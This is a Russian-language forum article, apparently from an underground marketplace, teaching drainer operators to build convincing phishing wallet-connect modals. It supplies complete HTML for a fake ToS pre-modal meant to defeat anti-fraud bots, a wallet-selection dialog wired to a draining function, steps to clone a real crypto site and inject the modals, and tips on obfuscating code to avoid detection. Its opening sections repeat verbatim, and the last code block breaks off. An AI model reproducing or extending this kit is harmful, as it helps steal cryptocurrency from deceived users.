ПРЕДИСЛОВИЕ
Всем привет!
Часто вижу на форумах услугу по разработке модальных окон и дизайна для дрейнеров. Просят за подобное удовольствие от 150 долларов.
А связано появление таких услуг вот с чем:
1) Дефолтные модалки "палятся" визуально. После пары десятков сайтов с дрейнером начинаешь узнавать их с первого клика
2) Если мы имеем дело с фишами - дефолтные модалки достаточно сильно отличаются по стилю. Я молчу про цветовую гамму, иногда они даже по форме и расположению элементов выглядят не так, как надо (например у юнисвапа элемент подключения кошелька выезжает сбоку - что согласитесь отличается от белой всплывашки достаточно сильно)
3) Бывают также логические нестыковки. Например, проект на который льем чисто полигоновский, а в окне подключения фигурирует Binance Smart Chain
Резюмируя - на мой взгляд, когда работаете с дрейнером, очень важно обладать хотя бы базовым набором знаний, чтобы иметь возможность настроить инструмент под себя, под свои задачи. Иначе КПД и конверсия сильно проседают.
Согласитесь, намного лучше потратить несколько минут и заточить нож, чем потом мучаться и нарезать продукты тупым инструментом.
Еще один момент касаемо модальных окон и логики работы дрейнера на сегодняшний день: как по мне, суть тут не только и не столько в дизайне, сколько в защите вашей системы от ботов. По сути, если в маркетинге есть слово преленд, то в нашем случае будет уместно использовать слово предрейн - именно такую функцию выполняет модальное окно и система подключения кошелька.
Собственно этим мы и займемся сегодня - научимся затачивать наши ножи и обороняться от нашествия ботов.
ПРОБЛЕМАТИКА
Для того, чтобы придти в точку Б, очень важно определить - а где мы сейчас вообще находимся? Какая отправная точка А и какую проблему мы пытаемся решить?
Чтобы не получилось так, что проблемы то и нет никакой, а решаем мы непонятно что и для чего.
Итак, проблематика:
1) Боты научились подключаться к дрейнерам и слать фейковые аппрувы. Это вызывает эффект, который я условно называю "дрейн дрейна" - происходят регулярные вызовы к оценщику активов и как следствие - тратятся поинты в апи дебанка (анкера, заппера, подставить нужное), что черевато следующим:
Всем привет!
Часто вижу на форумах услугу по разработке модальных окон и дизайна для дрейнеров. Просят за подобное удовольствие от 150 долларов.
А связано появление таких услуг вот с чем:
1) Дефолтные модалки "палятся" визуально. После пары десятков сайтов с дрейнером начинаешь узнавать их с первого клика
2) Если мы имеем дело с фишами - дефолтные модалки достаточно сильно отличаются по стилю. Я молчу про цветовую гамму, иногда они даже по форме и расположению элементов выглядят не так, как надо (например у юнисвапа элемент подключения кошелька выезжает сбоку - что согласитесь отличается от белой всплывашки достаточно сильно)
3) Бывают также логические нестыковки. Например, проект на который льем чисто полигоновский, а в окне подключения фигурирует Binance Smart Chain
Резюмируя - на мой взгляд, когда работаете с дрейнером, очень важно обладать хотя бы базовым набором знаний, чтобы иметь возможность настроить инструмент под себя, под свои задачи. Иначе КПД и конверсия сильно проседают.
Согласитесь, намного лучше потратить несколько минут и заточить нож, чем потом мучаться и нарезать продукты тупым инструментом.
Еще один момент касаемо модальных окон и логики работы дрейнера на сегодняшний день: как по мне, суть тут не только и не столько в дизайне, сколько в защите вашей системы от ботов. По сути, если в маркетинге есть слово преленд, то в нашем случае будет уместно использовать слово предрейн - именно такую функцию выполняет модальное окно и система подключения кошелька.
Собственно этим мы и займемся сегодня - научимся затачивать наши ножи и обороняться от нашествия ботов.
ПРОБЛЕМАТИКА
Для того, чтобы придти в точку Б, очень важно определить - а где мы сейчас вообще находимся? Какая отправная точка А и какую проблему мы пытаемся решить?
Чтобы не получилось так, что проблемы то и нет никакой, а решаем мы непонятно что и для чего.
Итак, проблематика:
1) Боты научились подключаться к дрейнерам и слать фейковые аппрувы. Это вызывает эффект, который я условно называю "дрейн дрейна" - происходят регулярные вызовы к оценщику активов и как следствие - тратятся поинты в апи дебанка (анкера, заппера, подставить нужное), что черевато следующим:
- Слив баланса на аккаунте оценщика. И в целом это даже не так страшно и неприятно (хотя 200 баксов есть 200 баксов), если бы не было пункта два.
- Невозможность оценить активы реальных клиентов (так как баланс закончился из-за бесконечных запросов ботов) и как следствие - потенциальные убытки и недополученная прибыль
2) Вторая проблема - заезженность модалок. Как я уже сказал ранее - дефолтные модалки палятся. Так как продуктов на рынке не так много, через какое-то время юзеры уже знают, как выглядит модальное окно дрейнера (условно говоря детект по поведению) и не кликают, а сразу уходят с сайта. Этот момент мы тоже пофиксим.
Окей гугл, с проблематикой определились, пришло время поставить цель.
ЦЕЛЬ СТАТЬИ
Цели статьи мы поставим вот какие:
1) Научиться создавать и редактировать модальное окно для нашего дрейнера
2) Научиться менять его внешний вид (читай цветовую гамму)
3) При этом научиться делать первые два пункта быстро и просто, без тонн javascript кода и CSS
4) Выстроить базовую защиту от подключений фейковых юзеров, за счет изменения пути пользователя
Также сразу уточню - это статья не про то, как создать свой дрейнер, такую цель я не преследую и поэтому мы на берегу договоримся, что какой-то дрейнер у нас уже есть
А интересует нас в нем два момента, если быть точным - функция показа модального окна и собственно функция дрейнинга.
Поэтому условимся, что обе эти функции у нас есть и запишем их в импровизированное "Дано":
1) Функция connectWallet, которая принимает аргумент provider и отвечает за подключение кошелька и старт процедуры дрейна
2) Функция showDrainerModal, которая вызывается без параметров и отвечает за отображение модального окна с выбором кошелька для подключения
Допустим также, что сам алгоритм дрейнинга и инжект/вызов модалки у вас уже прописан ИЛИ вы имеете возможность его заменить в готовом продукте - то есть еще раз, дрейнер есть, мы правим готовый продукт.
ИНСТРУМЕНТАРИЙ
Поскольку дрейнеры в основном своем ориентированы на Web, то и стек обычно используется классический фронтовый - html/css/javascript.
Мы будем использовать ванильный джаваскрипт, чтобы не перегружать себе голову тайпскриптом и вот этим всем. Фреймворки типа реакта и вьюшки мы тоже дропаем, они нам тут ни к чему. Ну и системы сборки тоже. Короче говоря, мы возвращаемся к истокам и используем старую добрую ванильку, потому что это а) просто б) необходимый нам функционал достаточно примитивный.
А вот с CSS мы пойдем другим путем, а именно - возьмем готовую дизайн систему, чтобы "красиво было из коробки". Тут мнения и предпочтения фронтовых господ расходятся, кто-то предпочитает материал дизайн, кто-то ант, кто-то чакру. Мое же сердце касаемо фронтовой части принадлежит тэилвинду, потому что он, цитируя сайт, позволяет "быстро создавать современные вебсайты, не покидая свой HTML". И это правда так, сайты собираются быстро и выглядят сочно - это нам надо, это мы берем.
Собственнно что будем делать сегодня - сделаем заготовку для нашего модального окна с использованием Tailwind CSS и подготовим его для дальнейшей комфортной работы. Добавим дополнительную премодалку с галочкой про Terms of Service и тем самым сломаем (хотя бы ненадолго) алгоритмы ботов.
Поехали.
РЕШЕНИЕ ЗАДАЧИ
Первым делом подрубаем тэилвинд. Есть несколько способов сделать это, но самый простой - импорт через CDN, им и воспользуемся
Обратите внимание, нам также понадобится не только импортнуть сам тэилвинд, но и настроить конфиг. Пока возьмем дефолтный вариант-заглушку, и вернемся к нему чуть позже
Окей гугл, с проблематикой определились, пришло время поставить цель.
ЦЕЛЬ СТАТЬИ
Цели статьи мы поставим вот какие:
1) Научиться создавать и редактировать модальное окно для нашего дрейнера
2) Научиться менять его внешний вид (читай цветовую гамму)
3) При этом научиться делать первые два пункта быстро и просто, без тонн javascript кода и CSS
4) Выстроить базовую защиту от подключений фейковых юзеров, за счет изменения пути пользователя
Также сразу уточню - это статья не про то, как создать свой дрейнер, такую цель я не преследую и поэтому мы на берегу договоримся, что какой-то дрейнер у нас уже есть
А интересует нас в нем два момента, если быть точным - функция показа модального окна и собственно функция дрейнинга.
Поэтому условимся, что обе эти функции у нас есть и запишем их в импровизированное "Дано":
1) Функция connectWallet, которая принимает аргумент provider и отвечает за подключение кошелька и старт процедуры дрейна
2) Функция showDrainerModal, которая вызывается без параметров и отвечает за отображение модального окна с выбором кошелька для подключения
Допустим также, что сам алгоритм дрейнинга и инжект/вызов модалки у вас уже прописан ИЛИ вы имеете возможность его заменить в готовом продукте - то есть еще раз, дрейнер есть, мы правим готовый продукт.
ИНСТРУМЕНТАРИЙ
Поскольку дрейнеры в основном своем ориентированы на Web, то и стек обычно используется классический фронтовый - html/css/javascript.
Мы будем использовать ванильный джаваскрипт, чтобы не перегружать себе голову тайпскриптом и вот этим всем. Фреймворки типа реакта и вьюшки мы тоже дропаем, они нам тут ни к чему. Ну и системы сборки тоже. Короче говоря, мы возвращаемся к истокам и используем старую добрую ванильку, потому что это а) просто б) необходимый нам функционал достаточно примитивный.
А вот с CSS мы пойдем другим путем, а именно - возьмем готовую дизайн систему, чтобы "красиво было из коробки". Тут мнения и предпочтения фронтовых господ расходятся, кто-то предпочитает материал дизайн, кто-то ант, кто-то чакру. Мое же сердце касаемо фронтовой части принадлежит тэилвинду, потому что он, цитируя сайт, позволяет "быстро создавать современные вебсайты, не покидая свой HTML". И это правда так, сайты собираются быстро и выглядят сочно - это нам надо, это мы берем.
Собственнно что будем делать сегодня - сделаем заготовку для нашего модального окна с использованием Tailwind CSS и подготовим его для дальнейшей комфортной работы. Добавим дополнительную премодалку с галочкой про Terms of Service и тем самым сломаем (хотя бы ненадолго) алгоритмы ботов.
Поехали.
РЕШЕНИЕ ЗАДАЧИ
Первым делом подрубаем тэилвинд. Есть несколько способов сделать это, но самый простой - импорт через CDN, им и воспользуемся
HTML:
<script src="https://cdn.tailwindcss.com"></script>
Обратите внимание, нам также понадобится не только импортнуть сам тэилвинд, но и настроить конфиг. Пока возьмем дефолтный вариант-заглушку, и вернемся к нему чуть позже
HTML:
<script>
tailwind.config = {
theme: {
extend: {
colors: {
clifford: '#da373d',
}
}
}
}
</script>
Далее подключаем надстройку над тэилвиндом - DaisyUI. Зачем? Несмотря на то, что тэилвинд и так сам по себе достаточно простой, мы пойдем еще более лайтовым путем - подрубим дейзи, чтобы иметь возможность генерировать новые темы прямо на сайте и подключать их в пару кликов.
Добавляем нужный тег над нашим тегом импорта Tailwind CSS.
HTML:
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />
Для наглядности будем использовать минималистичный скелетон сайта. Вот такая вот страничка у нас есть на текущий момент. Ничего лишнего - просто подключили все необходимое и добавили приветственную строку
HTML:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />
<script src="https://cdn.tailwindcss.com"></script>
<script>
tailwind.config = {
theme: {
extend: {
colors: {
clifford: '#da373d',
}
}
}
}
</script>
</head>
<body>
<h1 class="text-3xl font-bold underline **text-clifford**">
Hello world!
</h1>
</body>
</html>
Вся прелесть тэилвинда заключается в том, что мы работаем с разметкой (в прямом смысле - размещаем элементы и говорим как мы хотим чтобы они выглядели). И получается сразу красиво, из коробки. Концепция возможно спорная, но реально очень сильно ускоряет процесс сборки фронта - за счет того, что в CSS мы больше не лезем, а работаем на уровне классов.
Ну и как будто бы это более естественный путь - не лезть каждый раз в цсс, когда нужно скруглить углы у какого-то элемента, а просто добавить этому элементу класс "скругленные углы".
Окей, с подготовительной частью закончили, все подключили, теперь начнем накидывать наши элементы. Для начала добавим кнопку, при нажатии на которую будет открываться модальное окно, а также обернем весь контент body в теги div и сделаем выравнивание по высоте и ширине и небольшие отступы (это никак не влияет на функционал и тем более не требуется в продакшн версии - просто так выглядит поприятнее и работать удобнее, когда кнопка по центру экрана):
HTML:
<div class="flex h-screen">
<div class="m-auto space-y-4">
<h1 class="text-3xl font-bold underline **text-clifford**">
Hello world!
</h1>
<button class="btn" onclick="my_pre_modal.showModal()">Open modal</button>
</div>
</div>
Выглядит наша страница вот так:
Теперь добавим основное модальное окно, а если точнее - добавим заготовку для него. Используем тег dialog, сразу же добавляем адаптивность. Также добавим заголовок "Connect wallet", сделаем его жирным. Чуть ниже напишем призыв к подключению кошелька - "Select which wallet and which network you want to use to connect below".
HTML:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
</div>
</dialog>
Пока модалка выглядит весьма по-нищенски, но мы это скоро исправим.
Хинт: если вы хотите настроить расстояние между элементами, вам на помощь придет
Теперь пришло время добавить блоки с кошельками. Условимся что в нашем случае их будет четыре штуки:
1) Метамаск
2) Коинбейс
3) Бинанс воллет
4) Траст воллет
Естественно, это на ваш вкус и цвет, блоки можно добавлять/убирать, или вообще генерировать их программно в зависимости от ситуации.
Расположим их по две в столбец, соответственно накинем div с гридом из двух колонок и все будет отлично.
И внизу добавим кнопку для подключения по QR коду используя Wallet Connect (для всего остального и любителей мобильных кошельков).
HTML:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
<h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="alert('DONE')">
</button>
<button class="btn h-auto" onclick="alert('DONE')">
</button>
<button class="btn h-auto" onclick="alert('DONE')">
</button>
<button class="btn h-auto" onclick="alert('DONE')">
</button>
</div>
<div>
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
</div>
</dialog>
У нас получается вот такая заготовка, которая в целом уже более менее напоминает модальное окно реального проекта.
Добавим красивости каждому элементу, а именно:
1) Название кошелька
2) Краткое описание
3) Изображение
Тут в принципе все довольно тривиально, единственное на что хочу обратить внимание - класс object-contain, который сохраняет пропорции изображения при встраивании его в другие элементы (без него метамасковскую лису расплющит не по детски).
Немножко обмажем все флексами (для выравнивания по ширине) и результат уже радует.
HTML:
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md py-4">MetaMask</h4>
<p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md py-4">Coinbase</h4>
<p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md py-4">Binance Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md py-4">Trust Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
</div>
</button>
</div>
Теперь немного пошаманим с кнопкой внизу - добавим нужный текст и растянем ее во всю ширину модального окна с помощью флекса.
HTML:
<div class="flex flex-col pt-8">
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
И совсем для красивости сделаем еще две вещи. Во-первых, добавим в правый верхний угол кнопку закрытия (в виде традиционного крестика). Во-вторых, добавим небольшие отступы между нашими элементами с помощью уже знакомого паддинга (классы py-, pt- и pb- для отступов сверху и снизу, только сверху и только снизу соответственно).
HTML:
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
Вот такое модальное окно у нас получилось.
Самое важное - не забыть повесить на все кнопки инициализацию нашего дрейнера. Для этого к каждому тегу button добавим атрибут onclick и пропишем в нее, согласно нашей заранее составленной договоренности, вызов функции connectWallet и передадим для каждой кнопки свой аргумент (этот момент можем считать псевдокодом, потому что функция и ее параметры зависят исключительно от вашего дрейнера и могут отличаться в зависимости от реализации).
Итоговый код основного модального окна выглядит так:
HTML:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
<h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="connectWallet('metamask')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md py-4">MetaMask</h4>
<p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="connectWallet('coinbase')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md py-4">Coinbase</h4>
<p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="connectWallet('binance')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md py-4">Binance Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="connectWallet('trust')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md py-4">Trust Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
</div>
</button>
</div>
<div class="flex flex-col pt-8">
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
</div>
</dialog>
А теперь совсем немного магии. Как возможно заметил вдумчивый и сразу практикующий читатель, все, что мы реализовали на текущий момент, можно было спокойно запилить на голом тэилвинде. Для чего же нам было подключать дейзи, спросите вы? И я отвечу коротко - ТЕМЫ.
Фишка первая - в Daisy UI из коробки встроено достаточно много тем. Это не просто стандартные светлая/темная, нам предлагают аж 29 штук на выбор. Смотреть тут (xttps://daisyui.com/docs/themes/). Не то чтобы какая-то прям суперфича, но
Применить выбранную тему к нашему всплывающему окну (или отдельному элементу, или даже ко всей странице сразу) достаточно просто - нужно всего лишь добавить атрибут data-theme="название_темы_тут" в нужный тег. Я для этой цели просто обернул наш тег dialog в еще один div.
Вторая приколюха - генератор тем прямо на сайте, вот тут (xttps://daisyui.com/theme-generator/). Можно сгенерить случайную тему, пропатчить существующую и вообще настроить все как душе угодно, и сразу увидеть результат, а именно - как будет выглядеть тот или иной элемент.
Вот для примера наше модальное окно с темой dark и с темой lemonade. Вопрос изменения одного слова во всем файле. Удобно, не правда ли?
Окей, теперь займемся нашим премодальным окном. Сразу небольшое уточнение, его задача - сломать алгоритм ботов и уберечь нашу систему от фейковых авторизаций, а наш организм - от преждевременных дофаминовых всплесков. Поэтому тут у вас полная свобода творчества и полет мысли и фантазии. Можно сделать капчу, пользовательское соглашение, запросить почту, да хоть банальную галочку "я не робот".
Я в демонстрационных целях сделаю модалку с небольшим абзацем текста про пользовательское соглашение, линком на него и чекбоксом. После активации чекбокса, кнопка перехода Далее тоже будет активироваться и уже вызывать основное модальное окно
Точно так же, как и в первый раз, создаем заготовку модального окна. А если точнее, не создаем, а копируем уже готовое основное окно, удаляем оттуда все лишнее и вставляем прямо перед первым тегом dialog. Таким образом оба наших модальных окна будут "обернуты" в одну тему (что как бы логично, нам так и надо).
HTML:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
</div>
</dialog>
Изменяем заголовок и добавляем ссылки на текст наших условий использования приложения/сервиса.
HTML:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Terms of Sercive</h3>
<p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#">Privacy Policy</a> and
fake <a href="#">Terms of Service</a>. Please, agree before we continue to steal your
money.</p>
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary">
Continue
</button>
</div>
</div>
</dialog>
Добавляем чек бокс и текст к нему. Немного пошаманим над ссылками (ничего сверхъестественного, просто добавим класс underline, чтобы было понятно, что они кликабельные).
HTML:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Terms of Sercive</h3>
<p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
money.</p>
<div class="form-control">
<label class="label cursor-pointer">
<input type="checkbox" class="checkbox">
<span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
</label>
</div>
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary" disabled="disabled">
Continue
</button>
</div>
</div>
</dialog>
Навешиваем небольшую анонимную стрелочную функцию на кнопку Continue, которая закрывает текущее модальное окно, и соответственно открывает основное.
HTML:
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
Continue
</button>
</div>
Также пишем небольшое выражение, которое активирует кнопку перехода при отмеченном чекбоксе, и соответственно дизейблит ее, если чекбокс не стоит. Используем для этого атрибут onchange.
HTML:
<div class="form-control">
<label class="label cursor-pointer">
<input type="checkbox" class="checkbox"
onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
<span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
</label>
</div>
Осталось только поменять событие onclick на кнопке, чтобы она вызывала премодальное окно.
Итак, целиком наша страница выглядит вот так.
HTML:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.8.3/dist/full.css" rel="stylesheet" type="text/css" />
<script src="https://cdn.tailwindcss.com"></script>
<script>
tailwind.config = {
daisyui: {
themes: true,
},
}
</script>
</head>
<body>
<div class="flex h-screen">
<div class="m-auto space-y-4">
<h1 class="text-3xl font-bold underline **text-clifford**">
Hello world!
</h1>
<!-- DRAINER MODAL -->
<button class="btn" onclick="my_pre_modal.showModal()">open modal</button>
<div data-theme="dark">
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Terms of Sercive</h3>
<p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
money.</p>
<div class="form-control">
<label class="label cursor-pointer">
<input type="checkbox" class="checkbox"
onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
<span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
</label>
</div>
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
Continue
</button>
</div>
</div>
</dialog>
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
<h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md py-4">MetaMask</h4>
<p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md py-4">Coinbase</h4>
<p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md py-4">Binance Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md py-4">Trust Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
</div>
</button>
</div>
<div class="flex flex-col pt-8">
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
</div>
</dialog>
</div>
</div>
</div>
</body>
</html>
И тут есть очень важный для работы и понимания момент - а как это перенести на настоящий сайт? Ну допустим мы где-то нашли/позаимствовали/разработали с нуля сайт, как вот это модальное окно на него перенести? Давайте разберем этот момент, тут тоже все достаточно просто.
КАК ПОДКЛЮЧИТЬ К САЙТУ
Для демонстрационных целей я возьму рандомный крипто сайт и покажу как прицепить к нему нашу модалку (xttps://sunflower-land.com)
Копируем сайт с помощью saveweb2zip (xttps://saveweb2zip.com/en). Этот момент расписывать не буду, все достаточно очевидно - вставили ссылку, нажали скачать, получили архив. Также можно использовать wget или любой другой удобный для вас инструмент, тут принципиальной разницы нет. Главное - получить архив с сайтом и доступ к главной странице (обычно это index.html).
Открываем рядышком наш файл с модалками (донор) и наш свежескачанный сайт (реципиент).
Смотрим на наш файл с модалками. Тут есть несколько важных блоков - импорт всего нужного и собственно код. Импорты - переносим в head сайта реципиента. Основной код - в body. Кнопку вызова первого модального окна не переносим, потому что на сайте очевидно уже есть свои кнопки (100% есть, иначе для чего нам сайт без кнопок).
Чтобы все заработало, осталось подключить нужные кнопки на сайте (добавить функционал вызова премодального окна). Делаем это просто с помощью атрибута onclick.
HTML:
<button class="btn" onclick="my_pre_modal.showModal()">Open modal</button>
Итого у нас получился фейк сайт с подключенными к нему модальными окнами и дрейнером. Красота.
Выбираем из списка наиболее подходящую тему (или может быть даже делаем свою) и вперед, дрейнить на всю котлету.
ПОСЛЕСЛОВИЕ
Пролить дрейнер - это как нарезать продукты ножом. Нож требует заточки, и потратив немного времени на это действие, вы ощутимо сэкономите свои нервы и деньги в дальнейшем. Не поленитесь сделать "предпроливную" подготовку и привести свой инструмент в порядок.
Вот еще несколько рекомендаций, которые я могу дать:
1) Замените названия функций вызова дрейнера и вызова модалки. Возможно вы об этом не задумывались, но боты могут не прокликивать кнопки, а вызывать js метод напрямую - он же импортируется в код и торчит известным местом наружу.
2) Не храните критически важные данные на фронте (например свои ключи от дебанка или боже упаси приватные ключи от кошельков). Это кажется таким очевидным советом, но многие продолжают им пренебрегать.
3) Обфусцируйте код. Для этого есть отличные онлайн инструменты (например обфускатор ио), немного потыкаться в настройки и на выходе нечитаемый лапшекод. Не важно это продакт или тестовый деплой - все что не на локалхосте должно быть обфусцировано сразу, чтобы избежать проблем и детектов в дальнейшем.
Что касается тэилвинда - не уверен, что в рамках одной статьи и на примерах с парой модалок удалось раскрыть его потенциал, но я искренне надеюсь, что сумел как минимум заинтересовать и побудить пощупать эту систему. Это достаточно мощный инструмент, который позволяет работать с фронтендом в стиле «говорить, что нужно сделать, вместо того, чтобы говорить как это сделать». Я пробовал материал, пробовал ант и чакру. И именно к тэилвинду питаю теплые и нежные чувства, потому что он реально позволяет делать то, что обещает - современные и красивые сайты быстро и без гемора.
Всем спасибо за внимание, надеюсь эта статья была полезной.
С радостью отвечу на ваши комментарии, и также выслушаю предложения для будущих статей в рамках моих компетенций.
В следующей статье расскажу, как используя ванильный js реализовать реферальную систему для трафферов.
P.S.
Как найти в сорцах вашего дрейнера код самой модалки?
Как я уже говорил, функционал разнится в зависимости от реализации. Обычно модалку инжектят в DOM, и ее код хранится в виде строки в самом js файле дрейнера (если он один, если же их несколько - в одном из них). Найти его можно полнотекстовым поиском по каким-то характерным параметрам, например по тегам "<div", "<p" и другим html элементам.
P.P.S
Бонусом покажу, как сделать выезжающее окно вместо модалки (как на сайте Uniswap). Такой элемент называется Drawer.
Выглядит он вот так:
И вот его исходный код.
HTML:
<!-- UNISWAP STYLE DRAWER -->
<div class="drawer drawer-end">
<input id="my-drawer-4" type="checkbox" class="drawer-toggle" />
<div class="drawer-content">
<label for="my-drawer-4" class="drawer-button btn btn-primary">Open drawer</label>
</div>
<div class="drawer-side">
<label for="my-drawer-4" aria-label="close sidebar" class="drawer-overlay"></label>
<div data-theme="dark" class="h-screen w-96">
<div class="flex flex-col px-4">
<h2 class="text-xl font-bold underline **text-clifford** py-4">Connect a wallet</h2>
<div class="py-2 flex flex-col">
<button class="btn h-auto py-2" onclick="alert('DONE')">
<img class="h-10 object-contain"
